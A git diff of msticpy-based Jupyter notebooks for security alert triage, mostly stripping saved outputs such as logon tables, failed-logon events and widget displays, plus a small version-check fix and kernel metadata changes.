RzQ85ilT6PPuUGe5Y+77rBg+pL/01yBwBAvEwQyKu3W2ZM3a2HrAkr3MgOciR3iFnSOhnalOQdqTglOU7lyicq1dEDAIAGCgInG6qUO59faedw8OzfVkNyZ0GSFt62BQlOWuJUMU4JaEpSrnyiUh09AABoHGNM9FEIMR6VKa0HoqwJKctE7GioEp0ZdHjW830plSJ2g5hBDVXi7mC1J8q1LGZ3GwAAC4JA8qOVZcbZQ6LcblzF5I6GKoibH/PQxyQbvAUvFeNH7AYaUqrgeYk5t1Zu2KiX5WwlAABxMsYUG6p4EdODVEryvFiqhPp24/rWCn62/I3scPZvxB3IZtOaP7VllBZGN3i4tcSA63LKJcFJSe7KlU/wGgEAIGa959wjl2XGeCO57Pn8UpXPoIYug0cmtBqSOwsoOYsuyUlLnJIcJ5I7AAAcEATFf0fslinFt9aoulYo01ClVUsyJZI7K1i4Rlfu7ouXySSiUUicmi25Y54hAADxMqaY3NVTzuhlMvE0VKnjRjDJHWIXLlxJUGqqlLSw6B+oXBLsp5MRp7INVbgBAgBAvILe8UNRz9ypuKaN43d1eD4/wo1gkrsRdvfdd+vd7363Tj31VC1ZsmTI1xcvXqyTTjpJp59+uk4//fSyj2l2LFyjK9tQJSE7UnEy+fyA5EhKzg5nuTdsSpcBAIhZ785d1G6ZkiNlmYOHmOdzQ9ZErSQ9kn/Yxo0bdcMNN+iuu+5SNpvVOeeco2OOOUYHH3xw+Jg1a9Zo0aJFmjNnzkh+60QJn4w5OgHWUrHckNgNYPK5xMap1BEzqXP6AABoBiYYRllmTE3uqq4V2LkbYER37h577DG99a1v1aRJkzR27FjNnTtX991334DHrFmzRrfccovmz5+vq666St3d3SN5CYngpVKS77MrEUGSd6TiYoxpujN37G4DABCzYZRlurhzN3hGcqsZ0Z279vZ2tbW1hR9k2LbeAAAgAElEQVRPmzZNTz/9dPhxZ2enZs2apYULF+qAAw7QJZdcom9961u66KKL6vo+U6aML/v5trYJw7twC/6YzWp0xkvUNVfTiJ/DBIGe7+nR+EnjB/z5r40bo+6unU0Tuz01de8xekEaEqf2cWPU09HhfJy6s8VfIm2v21upUaMkSV3dk7RB0vjRaaev3+Vra3bE3h5ibxfxt6fZY5/LBFovacJeYyL/rBvHjVGQzzc8NuNHF1OWKdMmaWzv9wpyo7Re0tisP+D7v6pAqXHRf4ZmM6LJXRAE8vq1TzXGDPh43Lhxuu2228KPzzvvPF166aV1J3ebN+9UULq70KutbYI2beoY5pXHz0tn1LmjM1HXXEmjYh/0lhTuypsBf37eeMrt2t0UsdtTbW0T1P7KFknSrtzAOPUYX7ku9+PUsW2nJGnz9m55XvHvPL+zeBdu+5YdkqPXn7T3nGZC7O0h9nYRf3taIfY923dIknZ25SL/rD3y1dPgtUZb24TiekDStp05dfZ+L9M7l69j284B3z/XtVvp0WOb+u/L972Km10jWpY5Y8YMbdq0Kfx406ZNmjZtWvjxK6+8omXLloUfG2OUTo9ofpkYSSmZs6ncFnzpY2LXp2qcElC+Wiy9TQ+4EdQ3mNT96wcAoBmYpJVlVhiiXjyqkm34NblqRJO74447TitXrtSWLVu0a9cuPfDAAzrhhBPCr48ePVrXXXedXnzxRRljtGTJEr3zne8cyUtIDBKU2kjuoiklcEmNk+kpf15Q4swdAACxCRuq1NEtM7aGKtHXOkFPa5+5G9Hkbvr06brooov04Q9/WGeccYbmzZunww8/XOeff75Wr16tyZMn66qrrtInP/lJnXbaaTLG6KMf/ehIXkJiJGXhbVO5+WcSsRss6UlwpWYwEt0yAQCITTgKoc6duxh+V9ez1mn1bpkjXhM5f/58zZ8/f8Dn+p+zmzt3rubOnTvS3zZxkrLwtqnc/DMpvrtESdGUyV1vuXYShrADANAMSmWZXp1lmXH8rg7quOHf6sndiA8xRzR+TC+GJKtabtjTEx6kbXWVkuCkPMfKJncV6ugBAECDBPUPMfdjPHM3+Hy+JPnpoWsdkjtYwe5TbaUB3INfoD7nsQaoFCcvk5EKhXAoqauCCvNoSO4AAIjRcMsyc7mG33CvlLANLgutNPu3lZDcWeJl0ixca6hWbtj/662u4g5nOhlxqvqG7fi1AwDQLMKyzDqTOxkjFQqNuixJ0dcKpTURDVUQOxautQUkd5EkPQkullqQ3AEAYFWp0sero1tmTA3QIid3Fc7mtRKSO0tYuNZWis+QhioJSVriUu2Qcf+vu6rSG3a5OnoAANAYxpRGIdS5c6fGrzWCepM7du4QNz+bZeFaQ1+54cBBlH7vx8SvKEyCs4POJmaTkQQH+by87NBho142yygEAADiMowh5nH1QTA9+XD9N/D7D1xPh8ldluQOMaOhSm01yw1Z+EtqjrJMGqoAAGCXGUa3zLjWGnWXZbJzh7jFNfQxyZKetMSlYpyS1FCl0pm73k6gAACgwfagLNNucte3Vqg0HqqVkNxZUrrTwKy2ykjuokl6nCq+YXPmDgCA+AyjLNON5I6du/5I7iyJq3VsklW6+5KUpCUutRqquL5DbHoqNFShLBMAgNgMp6FKXH0Q6m6oQrdMxK2UsLAzUZnJ54rteFOpAZ8PY0fJnqRSWWNa3qDWxUmJU5DLRRpMCgAAGmg4oxBiOgJi8rmypZZ+JlO+oQo7d4hbuKvi+MLbptIW/OCkJSk7UnGpVqpQ+rqrTBBIhQINVQAAsKyvoYqjZZkVzuerUAivvdKM5FZCcmcJCUptVV/IcjtpiVOik7sqb8IkdwAAxKi3D0SiGqoM2jmsNCO5lZDcWZKEhbdtFeurE9IFMi4kdwAAYI8NpyzTdnKXKZ/csXOH2JUGc7N4rczk80MGc0sKB14Tu6IgX3mwpyQFDu8OVxpULw2towcAAI1TKm2sq6FKNp4eEkE+Lz87dK1QGlZeWk/0JXdDH9sqSO4soaFKbZXu0hC7gSp1m0zCzl21eTSD6+gBAEADlcZz1VOWGUM1lSkUpEIh0pqQnTuSO2uSsPC2rdKZO6VSkucRu17NXJbZ/zEAAKBxjKNlmUFPT/F7RejD0FcRRHKHmLFwrc3ke8ov+j2P81j9VEzuUinJ952OE8kdAACOGEZZZhwNAksjnar2YcgVv3/f7N90w67HdSR3lrBwra1SuaFUfDETu6JKyZ3kflOSKMkd5bcAAMRgOGWZvi+lUo3ductFvxFcaYxWKyG5s4SOj7UVG4VUSVocbhQSp0pdRaVinFxOjqoldz43QAAAiE3YUKXOxKjRDdBMPhd+n8EG7xxWu+HdKkjuLOk7AMoQ80pMLlfxBepnMuE2fasz+VzFJNjPZMI3RReVnv/MMwQAwLJhDDGXem+4N3BNVq0sc/B62uQrrx1bBcmdJSxca0tyuWGcKjaekfvlq9WGjbK7DQBAfMyeJHeOlGVWq2ZqFSR3lpDc1Vb1zB3JXSjJSTANVQAAcETvmbt6GqpIjT8qE9SxVjD5vPwKN7xbBcmdJSxca6t1lszke2K+Ijc1fXLH2UoAABpvGKMQpGKlTSPP3FXtllmhoUorI7mzhE6AtZl8Xn4mW/ZrNFTpE+Tz8rPl4+Rns04/x8LkLlumjr73Z+JcKgAAjWdM/aMQpOLv64aWZVY5wlFaJw5I7iqsiVoFyZ0lnufJS6ed3lWxrdrdl0Z3ZkoKUyhIhUJiR0ZUe8NmdxsAgBgFvaMQPNfO3NXeuQvYuQuR3FnE7lNlplCQgiCx5YZxCXqKpakVG6pk3L6BEO7cleuWSUMVAABiU9q5k19nWaZrDVU4cwdbSFAqq3YWq/R5Ylf9blbp8y7fQDA9+WJtfyo15GvhG3bO3esHAKBphHPu3Nq5K410KpvcpVKS7w9sqMLOHWwhQamM5C6aanezSp93OU6l8olyA1PD2TUOJ6cAADSNUllmvd0yG3wEpJ61TrVO662C5M4i1xfeNpWaaFRqZ+tlMjTaUN/OXaW7VF4mE74puijIVe/0KVGWCQBAHPoaqtRXlulnMg29ERtprVNK7qqsK1oFyZ1FNAWprNbOne94o5C4VCtVkIrPMZfjVGuMQ+kxAACgwcJRCMMoy8w17oZ7UOV8vjRwrUNDFZI7q9i5q4yyzGgilSo4XNZYrTZ+cB09AABoHFNK7oYzxLzR3TIrnM+XBpaFVpuR3CpI7ixyvU29TVGSOwVBsatmCwsiJsHGmDgvK7JatfEk8QAAxKR3rVDvnLuGJ3dVzueH37+n78wdDVVgjdfgoY9JFs4/qzCIsjSgstXjV7tbZrb4Zu1oElwsn6g8bNTPuD2EHQCAphGWZQ5jFEJPT8NuJAe5XNXB5KX1dK3Zv62C5M4ijzN3FVWbfyZxHquk2hDw/p939XlWqzaenTsAAOJRKsusd+eutNZo1DGQIFd9N6505s6UZv+S3MEW15td2BSloYrkbtISlyhz7iR3k+CgxjwakjsAAGJiTN3n7aTGrzVMjcHkXrq4WVJr7dgqSO4s4sxdZaW7P0lNWuISpaGK5G6cIu3cOdwQBgCAZmGCoO6STKnxa40gl6uxVkjL5PM1+xC0CpI7i9iVqCxSQxU1rgQgKWqNQmiK5K6B7ZUBAECvIKi7JFOKIbmLdIQjF35/GqrAGnYlKovSBVJyN2mJS82du7TbcapVasEsSAAAYuJoWWbtnbveM3fs3EkiubPKy2TCM1MYyOSq330pvXBbPX6ln79mnPJuxinI13jDpnQZAIBYmCCoOG6gmkY3bwtyuZrn84tn7nqrmarcNG4FJHcW+ZmMVCj0DY1EqGZDFXbuJPXb4azwRuZ6nGqXZaadvXYAAJpKELi5c1djreCzczcAyZ1FlBZWFjZUSafLfp3YFQW5XPHwcypV9uuux8lE6ZZJ6TIAAA1nzDCTuwYfAYlalklDlSKSO4tcX3jbZPJ5KZWSVytpafGFf+luVqUyCpefY8YY5twBAOCKwMjz3Nu5qzkKobRzV+OoSqsgubPIy2QlkaCUU3v+WW/sWnzhH+Ry8rLZil93Ok6FgmRM9VKLbJaGKgAAxMEEkj+MM3e965DGnbnLy8vWWBMao6C7u/hxlXVRKyC5s6jRB1CTLMqOjkTsglz1JNjl51itWYYSDVUAAIiLcXYUQvWGKuFap6ureD00VIEtLpfM2VYruXO9UUhcopQqSG7uDpcSzppn7lr87xgAgFgERnKwLDPIRbzhv6trwMetiuTOIpK7yqLu3LV67KIcMpbcjFOUrlZhHb0xcV0WAAAtyQyzLLORDVWMMZGGmEtSoXfnjjN3sMblhbdtNXekertotnrsor7huRinqMmdjCmezwMAAI0TBO41VCkUitcVoUopLMskuYMtLi+8bas53DqVklKplo9dzZ273iTYxWHvpUH1UcpvXTwzCABAUzFmz+bcNeAISJTxBqXEr9DVWfOxrYDkzqLSkzHIu7fwtq3W/DOpGL9WX/QHueqHjD3fl5d2cxB4pDdsboAAABALEwQVRytV08gbySbi+XxJCjq7JN+vOEarVZDcWURTkMpqnbmTivFr9djVKsuU3B0EXromP1NtlAOvEQAAYhEMc4i55zWsAVqUIxyl9XRhV1fL79pJJHdWsXCtLEpyRyfF2mWZkrvjBMI37CjdPh28fgAAmokZZnInNW5NFvl8vopn7kjuSO6sKg1kZOE6VDG5qz6E0su6mbTEKVIS7GicwjfsWoNJxWsEAICGM2ZYc+6k4u/rRlQJ9SV3Vap8SkPUu7qqVgO1CpI7i9iVqCzoiXbmrtVjV2v2i+TuDmc9pRatfrYSAICGCwJpGGfupOLv60b8rq6roQplmZJI7qxi4VpZ1LLMVo9dkK/eUEVq3Bvunqqn1MLFM4MAADQTEwR7sHPXoLLM8Hx+7RvBKhRI7kRyZ1Ujhz4mXeSGKi2+6E/yzl0p4YzSAcvF6wcAoKkMcxSC5MaZu1qPaxUkdzalUpLntXyCUg4NVWozxkTrlulo+SoNVQAAcIfZg7JMV5K7WtVMrYDkzqJGto5NMmMMyV0UhYIUBFWTI8nhUQh11NEbB4ewAwDQVFwsy6x3567GmqgVkNxZ5mUyCnLuLbxtilJfLfW+kbTwoj/KIePS1118jpl88e+OhioAADhgT8oy0w1qqJKrvVYoDVEvPi5d8XGtguTOspbffSojSrme1Ju0OLgjFRcT4cxa6esuPseCfF5KpareJaShCgAA8TBBIG8PumXaaqji+X6Y4HHmjuTOOlcX3jZF2YKXiF3UOLl6A8HkI4y74MwdAADxMA4PMY9ww7//v1sZyZ1ljRr6mGRRhltLvbFr4UV/X5xqDHt3NE5RB9WXHgsAABrHBEbyHE3uaq51SO5KSO4sc3VXxaak70jFpZ67WS7eQIjUNIdxIQAAxCMI5PnD7JaZbfTOXfWzdKX1hF/jpnErILmzrNUTlHKizD+T+mJnjInjspxTT0MVF59jpidCcud58tJpGqoAANBoe1CW6TeqoUo+Ly+drtnFk527PiR3lvmZxrwYkqyeM3eSZHp6Gn5NLoraVbQ47L2nOL/GIVFm9EnuJqcAADQTExh5e1KW2YAqIZPPy69Rkin1rYVI7kjurGPhOlTkcsMWL9mrp3xVci8JjtJQReI1AgBALEwgDbcsM5ORCgWZQmFkL6mOtUL/f7cykjvLWLgOVbrzEzlpadH41Z3cORanKGfuJF4jAADEwQTBHjVUkUb+RnJx5y7CWiFdOnNHckdyZ5mXzoTDnFFUGrgdPWlpzfiZCIM9+3/dtTiZfK6O5M6tawcAoOkEpubZtkrCtUZuZH9fF9cKtcsy2bnrQ3JnmceZuyGiDud2dUcqLpEbqvTezXLteRZ1545zqQAAxCDYw7JMjfxaI4i6c0dyFyK5s4ySs6HqLTds1YV/PQ1VJPeS4GIHLMoyAQBwgTHBsBuqNGqtUTxzR0OVepDcWeazcB2i7m6ZLRq/eubc9X+8KyIfkk7zGgEAoOECM+xRCH1n7hqQ3NWzcxfhpnGzI7mzrDT0sVVntZXTl9xVv1PjatISlzBONVoEl77uWpxMPi8vyht2NuvkEHYAAJqJ2aOyzMasNUxPtFEIpe8f5bHNjuTOMi+dkYyRRrh1bJLV3S2zRRf+fTt36aqPczUJplsmAAAOMcGeN1RpRFkmZ+7qQnJnWasnKOUECU9a4lI8s5au+UbsdEOVCOUTNFQBACAGgRn2KAS/kQ1V6JZZlxFP7u6++269+93v1qmnnqolS5YM+fratWt15plnau7cufrSl76kHscGK8etUS+GJCvt6Hhe9dKAVo9d8W5W9EPGLiXBxhiZnp5oO3ecuQMAoOFMEMjbw26ZtnbuaKjSZ0STu40bN+qGG27QD37wAy1fvlw/+tGP9Mc//nHAYxYuXKjLL79c999/v4wxWrp06UheQuK0+u5TOfWU65Ue34oiNyRxcHc4aqdPibJMAABiYYI9b6jSgOSurjl3NFRR9bq3Oj322GN661vfqkmTJkmS5s6dq/vuu08XXHCBJOnll1/W7t27dcQRR0iSzjzzTN10000699xzR/IyEqX0ZNz1wvPK7z3Z8tUMz/b2MeratmvE/rz8a5vqSu5yL72kruefG7HvnxT5zZvrqkPvfvFFdTnyHAt275YU7Q6bl8ko6O527u94pJ/3iI7Y20Ps7SL+9rRC7E2hMOyyzFJS1f3iBqX22mvErino7q5rrRPlpnGzG9Hkrr29XW1tbeHH06ZN09NPP13x621tbdq4ceNIXkLipMaPlyT97bZbLF/J8L3UgD8zu8++NR/jjx4jpVLa+ov7tfUX9zfgKtw37o1vqPkYf8wYyfe19b57tPW+e2K4quhKz/9ajzHd3Xrp69fEcEXRNeJ5j2iIvT3E3i7ib0+rxD41Zszw/r9x4yTP05af360tP797RK8pM2FCzcek95ooL52WP3bsiH7vJBrR5C4IggHnpIwxAz6u9fWopkwpvyBsa6v9l++aqSceq8mv+5qCXM72pThlzOtep1E1/z4naMKNi5TbujWWa3LRmH330agpteO0143fUG7b9liuKSo/ndaENx0qL5Wq+rjJ556l1x31d4wLAQCggTzP0/hDD1Fq1Kj6/+e2CZrwzW8ov2OHlWuaetpJ2ueowzV6+rQR/f5JNKLJ3YwZM/Tkk0+GH2/atEnTpk0b8PVNmzaFH7/22msDvh7V5s07FQQDF3ptbRO0aVPHMK7aAVP2sX0Fe6QRsc9LUpQ/c/RE6XUTR/R7J8mkKRFjP2bv4j+O6d7SFe2BMw5o7IUMQ6LfcxKO2NtD7O0i/va0Suy37MhJGuaGw7jJxX9GWGrUqGix98eoowX+jiTJ972Km10j2lDluOOO08qVK7Vlyxbt2rVLDzzwgE444YTw6/vuu69GjRqlp556SpL005/+dMDXAQAAAADDM6LJ3fTp03XRRRfpwx/+sM444wzNmzdPhx9+uM4//3ytXr1aknT99dfrmmuu0Wmnnaauri59+MMfHslLAAAAAICW5JkEHmRpurLMhCP29hB7e4i9PcTeHmJvF/G3h9jbQ+yHiq0sEwAAAABgB8kdAAAAADQBkjsAAAAAaAIkdwAAAADQBEjuAAAAAKAJkNwBAAAAQBMguQMAAACAJkByBwAAAABNgOQOAAAAAJoAyR0AAAAANAGSOwAAAABoAiR3AAAAANAESO4AAAAAoAmQ3AEAAABAEyC5AwAAAIAmQHIHAAAAAE2A5A4AAAAAmgDJHQAAAAA0AZI7AAAAAGgCJHcAAAAA0ARI7gAAAACgCZDcAQAAAEATILkDAAAAgCZAcgcAAAAATYDkDgAAAACaAMkdAAAAADQBkjsAAAAAaAJp2xcwHL7v1fV5NB6xt4fY20Ps7SH29hB7u4i/PcTeHmI/ULV4eMYYE+O1AAAAAAAagLJMAAAAAGgCJHcAAAAA0ARI7gAAAACgCZDcAQAAAEATILkDAAAAgCZAcgcAAAAATYDkDgAAAACaAMkdAAAAADQBkjsAAAAAaAIkd4jMGGP7EloWsbeL+NtD7NFqdu7cafsSACRY6sorr7zS9kXU0tPToxUrVmjGjBlKp9O2L6eldHZ2avny5Zo8ebIymYzS6bSMMfI8z/alNb3Ozk7deeedmjhxorLZrDKZDLGPUWdnp773ve8pk8kom81qzJgxxD8mnZ2dWrp0qcaMGaN0Oq3Ro0crCAJiH4POzk4tWbJE2WxW2WxWo0ePtn1JLaOzs1PXXXedfve73+nII49UJpOxfUkto7OzU9///veVzWY1atQojR49mvf7mLDGH3mJSO4eeugh3XbbbTrggAP0+te/3vbltIxHHnlEF1xwgXbt2qVVq1bpt7/9rU488UTe7GJw33336XOf+5x2796tVatWaePGjTriiCOIfUwef/xxfeELX1Aul9Ozzz6rjo4OHX744cQ/Bg8++KA+97nPKZVK6fnnn9cPfvADnXHGGcQ+Bg888IAuvvhiGWO0du1a3XvvvXr3u99t+7JawtKlS/X//t//07HHHqtPfOITGjNmjO1LahkPP/ywPv/5z4fP+yeeeEJvf/vbec+JCWv8ked0itzT06N0Oq1f/OIX2rhxo1asWKE3vvGNamtrs31pLeEvf/mLFixYoLPPPlsbN27Uxz72Mf3whz/UOeeco0KhoFQqZfsSm1KhUNBjjz2ma665RnPmzNENN9ww4JcMdxMb74UXXtC8efP00Y9+VJLU0dERfo34N04QBHrqqaf0uc99Tu94xzskSccee6y+853vaMGCBcS+gYwxevzxx3XFFVfoqKOO0saNG/WFL3xBa9eu1axZs2xfXlPbsmWLVq9erU996lM67LDDdOONN+otb3mLDj30UB188MEKgkC+zymaRtmwYYPOPvtsfehDH9IDDzygZ555Jvwa7zmNwxq/cZx7t3jxxRf14x//WO3t7fI8T7lcTlOmTNHHPvYx5XI5rVixwvYlNq2XXnpJDz74oHK5nCTpySefVHd3tyRp+vTpWrhwob7xjW9IEondCOsf+1QqpU2bNmnq1Knq6OjQsmXL9Pjjj+u2226TJH7RNMDg5/6KFSs0btw4FQoFXXjhhfr3f/933XLLLZKI/0jrH3vf9/Xoo48OOHP0j//4j/rBD36gHTt2EPsRtnXrVj377LOSis/r1atXh0nE7t271dPToxkzZti8xKa1devWMImYPHmy9t57bz344IP6+te/rilTpmjlypW66KKLJInEboT1f95L0vPPP6/169fr4Ycf1i233KJVq1bpxhtvVE9PD+85I4w1fjycKstcvHixbrrpJu3atUsrVqzQli1bNHv2bE2cOFGnnHKK1q1bpz/96U/ad999NXnyZNuX21RuvfVWXX311Xrttde0cuVKjRkzRkcccYSuu+46feQjH5EkHXjggfrd736nDRs26B/+4R+4ozVCBsfeGKPPfvazmjhxotavX6+pU6fqtNNO0/e//3298MILetvb3sb5oxFUiv/mzZu1cuVKZbNZHXbYYbr11lv117/+VW9+85v1tre9TUuWLNG6det0wgknEP8RMjj26XRaxx13nK688kq9+c1v1tKlS3XggQeqvb1dL774oo4//njed0bQtddeq1WrVmnWrFmaMGGCjjnmGE2ePFnjxo3TmjVrtHLlSp1xxhnKZrPEfIRde+21Wr16tQ477DCNHz9eo0eP1o9//GN95Stf0amnnqqTTz5Zv/rVr/TCCy/ouOOO43k/gq699lo9/fTTYez32WcfGWP01a9+Ve9973v1sY99THfccYdWrVqlk046iff7EcIaPz7O3A7atGmT1q5dq+XLl+sb3/iGTj75ZK1evVq5XE6zZ8+WJB1//PGSRGY/wvL5vDZs2KAlS5Zo8eLFOvnkk/X1r39dU6dO1eGHH66bb745fOxZZ52ll19+Wfl8nje7ETA49qeccopuvvlm/fGPf5QkHXLIIVqwYIGOPvpoXXrppVqzZo12797NndwR0j/+//Ef/6GTTz5ZixYtku/7Ovjgg/Xss8/qgx/8oI488khdfvnl+v3vf6+uri7iPwIGx/6UU07RDTfcoNmzZ+vSSy/Vww8/rM2bN+vcc8/Veeedp/b2dt53RkihUND27du1cuVKrVu3Tn/4wx8UBIH2339/TZs2TZL06KOPas6cOdprr73CO+zYc/1jv3btWj311FMqFAqaM2eOvvjFL+rggw8OO8Sec845evXVV3nej5BKsZ85c6bmzJmjE088URdccIEOOuggXX311frVr36lzs5O3u9HAGv8eDnzjC0UCtqwYYO6urokFc+4dHV1acyYMQqCQJI0c+ZMzZo1S2vXrtXKlSttXm5TyeVyeuSRR8LYn3zyyfrHf/xHLV68WJ/5zGd0++23689//rOkYm36G97wBrp4jZBKsb/hhhskSevXrw9L1NauXavjjjuO7nUjqFz8TzjhBC1ZskTvfe97tWbNGr322muSpGeeeUbHHHOMxo4da/OSm8bg2J900kk69thj9ZWvfEXvfe979YlPfEJf+9rXlM1m9fTTT2v27Nm874yQVCqlDRs2aN68eXr729+uVatWaf369QMe88ILL+jss8/WunXr9KEPfUg//elPLV1tcykX+xdeeEFSsQT5ySef1Pbt2yVJzz33nGbNmsXzfoRUe957nqff/OY32rJli6RiqebcuXM1btw4m5fcNFjjx8tKWebu3bsHtDsNgkATJkzQUUcdpb322kvZbFY///nPNXr0aJ1wwgnyPC/cFp80aZJeffVVzZ49W1OmTIn70hOvdKarpFAoaNSoUXr11Vf1xBNP6OSTT5bneTr44IP14x//WO9617s0aU7z6OYAABChSURBVNIk3X333Vq2bJlWr16tM888k45GwxA19gcddJCWL1+ugw8+WE888YS++c1v6pFHHtHvf/97ve9979N+++1n8adIrqjxf8Mb3qC7775bp5xyikaPHq0f/vCHuv/++/Xb3/5WZ511lg488EB7P0RCRY39IYccorvuukuHHHKInn76aV133XW65557tHbtWp199tl63eteZ/GnSKbBsS/ZuHGj5syZozlz5ugXv/iFfN/XQQcdpEwmo+eee04/+tGPtGbNGt1777360Ic+pDPOOMPC1Sdb1NinUikddNBBGjVqlL7//e/r9ttv169//Ws9/fTTOuuss7TvvvtauPpkq+d5f+CBB2rGjBlat26d7rzzTv3iF7/Qww8/rLPOOktveMMbLFx9sg2OPWv8+MWe3C1evFjf+973tGPHDmWzWU2dOlVS8a7JlClTlM1mJUm33HKL3v/+9+uAAw4Ivy5JEyZM0NFHH81f+jDceOONWr58ubq7uzVjxgyNHj06LDeYNGmS7rvvPu2///7hAmr9+vXyfV/nnHOO/uEf/kFTpkzRF7/4RRK7YRhO7MePH6/3v//9mj17tiZMmKDLLruMxG6Y6om/MSaM/0c/+lEdc8wx2nvvvXXppZeS2A3DcJ7748aN03ve8x695S1v0cSJE3XFFVeQ2A1DudiXzm5Nnz5dEydO1NixY9XR0aE//OEPamtr0z777KNdu3bpv/7rv3T66afr2muv1SGHHGL7R0mc4cb+uOOOG/C8J7GrX72xnzZtmvbZZx+deuqpmj17tiZNmqQvf/nLJHbDUC72pfU7a/z4xFaW2d3drS9/+ct69dVX9c///M/685//rGXLlmn37t1DaslfeOEFpVIpHX/88br33nv1iU98YkBrWtSnu7tbl112mf72t79p7ty5uvXWW8MzXaXa/oMOOkjHH3+8Fi1aJEkaP368Nm3aFL7AJk+eHLYmR3TDjX17e7v23ntvpVIpzZw5k7vmwzSc+E+YMEHt7e3hge4ZM2bo1FNPtfMDJNiePvdLu9inn366tZ8hqar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- "text/plain": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "from msticpy.sectools.eventcluster import dbcluster_events, add_process_features, _string_score\n", "\n", @@ -5564,74 +1202,14 @@ }, { "cell_type": "code", - "execution_count": 43, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:39.050530Z", "start_time": "2020-05-16T02:21:39.008528Z" } }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "3caf58e757d342b38dd4b8dbfe1c8311", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HBox(children=(Select(layout=Layout(height='200px'), options=('Unknown', 'Interactive', 'Network', 'Batch', 'S…" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/markdown": [ - "Rarest Logons" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
LogonCount
LogonTypeDesc Batch Interactive Network Service
Account
MSTICAlertsWin1\\MSTICAdmin001000000000
" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "from random import randint\n", "select_logon_type = widgets.Select(options=nbdisplay._WIN_LOGON_TYPE_MAP.values(), layout=widgets.Layout(height=\"200px\"))\n", @@ -5714,7 +1292,7 @@ }, { "cell_type": "code", - "execution_count": 33, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:52.253650Z", @@ -5723,152 +1301,7 @@ "hidden": true, "scrolled": true }, - "outputs": [ - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "

Failed Logons observed for the host:

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TenantIdAccountEventIDTimeGeneratedSourceComputerIdComputerSubjectUserNameSubjectDomainNameSubjectUserSidTargetUserNameTargetDomainNameTargetUserSidTargetLogonIdLogonProcessNameLogonTypeLogonTypeNameAuthenticationPackageNameStatusIpAddressWorkstationNameTimeCreatedUtc
052b1ab41-869e-4138-9e40-2a4457f09bf0MSTICAlertsWin1\\ian46252019-02-13 16:28:05.417000+00:00263a788b-6526-4cdc-8ed9-d79402fe4aa0MSTICAlertsWin1MSTICAlertsWin1$WORKGROUPS-1-5-18ianMSTICAlertsWin1S-1-0-0Advapi44 - BatchNegotiate0xc000015b-MSTICAlertsWin12019-02-13 16:28:05.417000+00:00
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" - ], - "text/plain": [ - " TenantId Account EventID \\\n", - "0 52b1ab41-869e-4138-9e40-2a4457f09bf0 MSTICAlertsWin1\\ian 4625 \n", - "\n", - " TimeGenerated SourceComputerId \\\n", - "0 2019-02-13 16:28:05.417000+00:00 263a788b-6526-4cdc-8ed9-d79402fe4aa0 \n", - "\n", - " Computer SubjectUserName SubjectDomainName SubjectUserSid \\\n", - "0 MSTICAlertsWin1 MSTICAlertsWin1$ WORKGROUP S-1-5-18 \n", - "\n", - " TargetUserName TargetDomainName TargetUserSid TargetLogonId \\\n", - "0 ian MSTICAlertsWin1 S-1-0-0 \n", - "\n", - " LogonProcessName LogonType LogonTypeName AuthenticationPackageName \\\n", - "0 Advapi 4 4 - Batch Negotiate \n", - "\n", - " Status IpAddress WorkstationName TimeCreatedUtc \n", - "0 0xc000015b - MSTICAlertsWin1 2019-02-13 16:28:05.417000+00:00 " - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "if security_alert.primary_host:\n", " failedLogons = qry_prov.WindowsSecurity.list_host_logon_failures(\n", @@ -5899,41 +1332,14 @@ }, { "cell_type": "code", - "execution_count": 34, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-02-13T20:45:29.434121Z", "start_time": "2020-02-13T20:45:29.427150Z" } }, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "List of current DataFrames in Notebook\n", - "--------------------------------------------------\n", - "process_tree\n", - "alert_list\n", - "alert_counts\n", - "related_alerts\n", - "processes_on_host\n", - "feature_procs\n", - "clus_events\n", - "test_clus\n", - "source_processes\n", - "ioc_df\n", - "dec_df\n", - "ti_results\n", - "proc_match_in_ws\n", - "logon_event\n", - "host_logons\n", - "host_logons_time\n", - "logon_group\n", - "failedLogons\n" - ] - } - ], + "outputs": [], "source": [ "print('List of current DataFrames in Notebook')\n", "print('-' * 50)\n", diff --git a/Guided Triage - Alerts.ipynb b/Guided Triage - Alerts.ipynb index 3b4e4cb0..941d36a0 100644 --- a/Guided Triage - Alerts.ipynb +++ b/Guided Triage - Alerts.ipynb @@ -86,7 +86,7 @@ " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", - " check_mp_ver(REQ_PYTHON_VER)\n", + " check_mp_ver(REQ_MSTICPY_VER)\n", " \n", "\n", "# If not using Azure Notebooks, install msticpy with\n", @@ -635,9 +635,9 @@ "metadata": { "hide_input": false, "kernelspec": { - "display_name": "Python 3.6", + "display_name": "Python (condadev)", "language": "python", - "name": "python36" + "name": "condadev" }, "language_info": { "codemirror_mode": { @@ -649,7 +649,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7-final" + "version": "3.6.10" }, "latex_envs": { 